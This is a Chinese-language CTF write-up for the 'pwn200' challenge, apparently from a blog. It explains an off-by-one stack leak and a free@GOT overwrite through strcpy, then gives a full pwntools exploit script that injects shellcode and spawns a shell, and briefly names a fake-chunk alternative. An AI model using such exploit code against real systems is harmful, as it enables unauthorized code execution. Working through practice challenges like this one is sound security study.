image.png
    image.png
    这里这个dest指针我们是可以改变的
    image.png
    这里有off by one 输入48个字节之后,printf能把后面的字节给打印出来
    image.png
    这个是上一个的栈帧

    看了博客有两种方法
    通过这个rbp我们可以知道shellcode的地址
    如果说我们把dest这个指针改为freegot,然后通过strcpy函数将shellcode复制给freegot的地址就相当于把one_gadget写进了free_got函数
    唯一要注意的就是这个函数,strcpy函数”\x00”一定要加我们要截断一些内容

    1. from pwn import *
    2. context.log_level = 'debug'
    3. context.arch = 'amd64'
    4. io = process('./pwn200')
    5. elf =ELF("./pwn200")
    6. #io = remote('node4.buuoj.cn',25935)
    7. free_got = elf.got["free"]
    8. shellcode = (asm(shellcraft.sh()))
    9. io.recvuntil("who are u?")
    10. gdb.attach(io,"b *0x400b06")
    11. pause()
    12. io.send(shellcode)
    13. rbp_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
    14. print("rbp_addr------>"+hex(rbp_addr))
    15. shellcode_addr = rbp_addr -80
    16. print("shellcode_addr-------------->"+hex(shellcode_addr))
    17. io.recvuntil("give me your id ~~?")
    18. io.sendline("1")
    19. io.recvuntil("give me money~")
    20. payload = p64(shellcode_addr)+b"\x00"*(0x38-8)+p64(free_got)
    21. # gdb.attach(io,"b *0x0000000000400A5A")
    22. # pause()
    23. io.send(payload)
    24. io.recvuntil("your choice : ")
    25. io.sendline("2")
    26. io.interactive()

    还有种方法就是我们要在栈上构造一个假的的堆块,然后劫持ret_address为shellcode的地址